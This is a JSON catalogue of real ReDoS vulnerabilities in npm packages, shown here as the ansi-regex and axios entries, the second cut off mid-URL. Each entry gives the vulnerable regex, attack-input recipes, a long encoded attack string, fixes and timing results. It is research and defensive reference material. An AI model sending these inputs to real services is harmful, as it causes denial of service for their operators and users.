{"name":"redos-db","description":"A curated, machine-readable, self-verifying catalogue of real-world ReDoS vulnerabilities.","homepage":"https://github.com/aurelio-nakamura/redos-db","maintainer":"Aurelio Nakamura (autonomous AI agent)","license":"MIT","schema":"schema/entry.schema.json","count":28,"counts_by_type":{"cve":25,"classic":3},"counts_by_complexity":{"quadratic":23,"exponential":5},"entries":[{"id":"ansi-regex-CVE-2021-3807","name":"ansi-regex","type":"cve","cve":"CVE-2021-3807","ghsa":"GHSA-93q8-gq69-wqmw","cwe":"CWE-1333","ecosystem":"npm","package":"ansi-regex","affected":"<3.0.1 || >=4.0.0 <4.1.1 || >=5.0.0 <5.0.1 || >=6.0.0 <6.0.1","patched":"5.0.1","published":"2021-09-17","discovered_by":"Yeting Li","regex":"[\\u001B\\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*)?\\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PR-TZcf-ntqry=><~]))","flags":"","complexity":"quadratic","attack":{"prefix":"\u001b[","pad":";","suffix":""},"benign":"\u001b[31m","fix":{"type":"regex-rewrite","summary":"The ANSI matcher overlapped the character class [[\\]()#;?]* with the alternation (?:;...)*, so a long run of \";\" could be partitioned two ways (quadratic). The fix constrained the sub-patterns to remove the ambiguity.","commit":"https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9"},"description":"ansi-regex builds the regular expression used across the npm ecosystem (chalk, strip-ansi, etc.) to match ANSI escape codes. Untrusted text containing a long run of \";\" after an escape introducer forces quadratic backtracking.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3807","https://github.com/advisories/GHSA-93q8-gq69-wqmw","https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5B%5Cu001B%5Cu009B%5D%5B%5B%5C%5D()%23%3B%3F%5D*(%3F%3A(%3F%3A(%3F%3A%5Ba-zA-Z%5Cd%5D*(%3F%3A%3B%5B-a-zA-Z%5Cd%5C%2F%23%26.%3A%3D%3F%25%40~_%5D*)*)%3F%5Cu0007)%7C(%3F%3A(%3F%3A%5Cd%7B1%2C4%7D(%3F%3A%3B%5Cd%7B0%2C4%7D)*)%3F%5B%5CdA-PR-TZcf-ntqry%3D%3E%3C~%5D))&in=%1B%5B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B%3B","verification":{"engine":"node v22.23.1","benign_ms":0.13,"curve":[{"input_length":2502,"pumps":2500,"ms":46.38,"timed_out":false},{"input_length":5002,"pumps":5000,"ms":185.97,"timed_out":false},{"input_length":10002,"pumps":10000,"ms":744.52,"timed_out":false},{"input_length":20002,"pumps":20000,"ms":null,"timed_out":true}],"empirical_class":"quadratic","class_agrees":true}},{"id":"axios-CVE-2021-3749","name":"axios","type":"cve","cve":"CVE-2021-3749","ghsa":"GHSA-cph5-m8f7-6c5x","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"axios","affected":"<0.21.2","patched":"0.21.2","published":"2021-08-31","discovered_by":"huntr.dev (bounty 1e8f07fc)","regex":"\\s*$","flags":"","complexity":"quadratic","attack":{"prefix":"x","pad":" ","suffix":"!"},"benign":"   hello world   ","fix":{"type":"algorithm-change","summary":"axios's internal `trim` helper stripped surrounding whitespace with `str.replace(/^\\s*/, '').replace(/\\s*$/, '')`. The end-anchored `\\s*$` re-scans a long run of whitespace from every start offset when the string ends in a non-whitespace character, so the `$` never matches after the greedy run: O(n^2). axios 0.21.2 replaced the helper with the native `String.prototype.trim()` (falling back to `str.replace(/^\\s+|\\s+$/g, '')`), making whitespace trimming linear.","commit":"https://github.com/axios/axios/commit/5b457116e31db0e88fede6c428e969e87f290929"},"description":"axios is one of the most widely used HTTP clients in the JavaScript ecosystem. Its internal `trim` helper used the end-anchored regex `\\s*$` to strip trailing whitespace (applied to values such as response header lines). A long run of whitespace that ends in a non-whitespace character forces the greedy `\\s*` to match to the end of the run and then fail the `$` anchor at every start offset, producing quadratic backtracking on attacker-influenced input.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3749","https://github.com/advisories/GHSA-cph5-m8f7-6c5x","https://huntr.dev/bounties/1e8f07fc-c384-4ff9-8498-0690de2e8c31","https://github.com/axios/axios/commit/5b457116e31db0e88fede6c428e969e87f290929"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5Cs*%24&in=x%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2